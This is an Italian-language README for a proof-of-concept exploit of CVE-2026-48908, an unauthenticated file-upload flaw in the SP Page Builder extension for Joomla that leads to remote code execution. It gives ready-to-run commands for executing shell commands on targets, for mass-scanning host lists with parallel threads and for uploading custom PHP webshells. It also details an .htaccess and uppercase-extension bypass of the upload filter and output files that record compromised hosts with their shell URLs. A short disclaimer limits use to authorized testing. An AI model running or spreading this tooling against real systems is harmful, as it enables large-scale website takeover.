
PoC di RCE non autenticato per CVE-2026-48908 SP Page Builder (Joomla) exploit di upload arbitrario di file e esecuzione remota di codice con supporto per scansione di massa.
SP Page Builder (com_sppagebuilder) per Joomla ≤ 6.6.1 consente ad attaccanti non autenticati di caricare file arbitrari e ottenere l'esecuzione remota di codice.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-48908 |
| CWE | CWE-284 (Controllo di accesso improprio) |
| Componente | SP Page Builder (com_sppagebuilder) |
| Versione affetta | 1.0.0 – 6.6.1 |
| Versione corretta | 6.6.2 |
| Privilegi | Nessuno (pre-autenticazione) |
| Interazione utente | Nessuna |
body="com_sppagebuilder"
pip install -r requirements.txt
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check # solo verifica, nessun comando
python3 exploit_poc.py https://target.example --token abc123 # token personalizzato
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20 # 20 thread paralleli
python3 exploit_poc.py --hosts ips.txt --no-verbose # modalità silenziosa
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php
Nota: Quando si usa
--shell-file, lo script carica solo la webshell e riporta l'URL. Non esegue il comando-cné alcun test di esecuzione. La shell caricata deve gestire l'input dei comandi in modo indipendente.



Dopo una scansione, vengono salvati tre file di risultati:
L'exploit abusa del task asset.uploadCustomIcon di com_sppagebuilder:
/media/com_sppagebuilder/assets/iconfont/<nome>/fonts/.Lo script tenta multiple estensioni PHP (.php, .PHP, .pHp, .Php, .pht, .phtml, ecc.) finché non ne trova una che esegue.
Quando le estensioni PHP dirette sono bloccate dal filtro di SPPB, lo script inserisce un file .htaccess insieme al payload:
AddType application/x-httpd-php .PHP
Questo forza il server web a trattare .PHP (maiuscolo) come PHP — bypassando la blocklist case-sensitive di SPPB. Richiede AllowOverride abilitato e l'esecuzione PHP consentita in /media.
Nota: Il bypass
.htaccess+.PHPmaiuscolo potrebbe non funzionare su tutte le configurazioni. Se fallisce, prova a usare le estensioni.pngo.jpeg. Su server conAllowOverridedisabilitato o esecuzione PHP bloccata in/media, anche le shell caricate non verranno eseguite (segnalato come "sola scrittura").
Questo PoC è basato su https://github.com/papageo75/CVE-2026-48908-PoC/ con le seguenti aggiunte:
Alcune risposte del server possono contenere prefissi non JSON (es. espressioni cron o altro rumore) prima del payload JSON effettivo. Il PoC originale si bloccava su r.json() durante l'analisi di tali risposte. Questa versione cerca il primo carattere { e tenta di decodificare la sottostringa JSON:
Prima:
try:
data = r.json()
except ValueError:
return None
Dopo:
try:
data = r.json()
except ValueError:
raw = r.text
idx = raw.find("{")
if idx == -1:
return None
try:
data, _ = json.JSONDecoder().raw_decode(raw[idx:])
except ValueError:
return None
Esempio — risposta JSON valida:
{
"name": "icoctxojp",
"data": {
"id": 17,
"type": "iconfont",
"name": "icoctxojp",
"title": "Icoctxojp",
"assets": "["ico ico-x"]",
"css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
"created": "2026-06-24 07:26:18",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
},
"status": true,
"output": "Uploaded"
}
Esempio — risposta non JSON (rumore prefisso prima del JSON):
cron:self,tpl:amara_pro,cfg:ok{
"name": "icoxwetsw",
"data": {
"id": 163,
"type": "iconfont",
"name": "icoxwetsw",
"title": "Icoxwetsw",
"assets": "[\"ico ico-x\"]",
"css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
"created": "2026-06-24 03:42:57",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
},
"status": true,
"output": "Uploaded"
}
Aggiunta la funzionalità di scansione di massa multi-thread:
--hosts <file> — carica i target da un file (uno per riga)-j, --threads <n> — imposta il numero di thread paralleli (predefinito: 10)--no-verbose — sopprime l'output dettagliato per host.txt categorizzatiAggiunta l'opzione --shell-file <percorso> per caricare una webshell PHP personalizzata invece della shell predefinita protetta da token. Quando si usa questa opzione:
-crun()) viene eseguitocustom_shell_hosts.txtSOLO USO AUTORIZZATO. Solo per test di penetrazione autorizzati, CTF e target di laboratorio. Sei l'unico responsabile per l'uso di questo strumento.
| Opzione | Descrizione |
|---|
url | URL di destinazione (posizionale o --url) |
--hosts <file> | File con un host per riga |
-c, --cmd <comando> | Comando da eseguire (predefinito: id) |
--check | Solo verifica, non esegue un comando |
--token <token> | Segreto che protegge la shell caricata (predefinito: casuale) |
--shell-file <percorso> | Carica una webshell PHP personalizzata invece di quella integrata |
-j, --threads <n> | Thread paralleli per scansione di massa (predefinito: 10) |
--no-verbose | Sopprime l'output dettagliato per host |
| File | Contenuto |
|---|
vulnerable_hosts.txt | Host con RCE confermata + URL delle webshell |
not_vulnerable_hosts.txt | Host aggiornati o assenti |
partial_vulnerable_hosts.txt | Host con scrittura file ma senza esecuzione PHP |
custom_shell_hosts.txt | Host con shell personalizzata caricata, raggruppati per URL base (generato solo quando si usa --shell-file) |
scan_results.json | Risultati JSON completi per tutti gli host |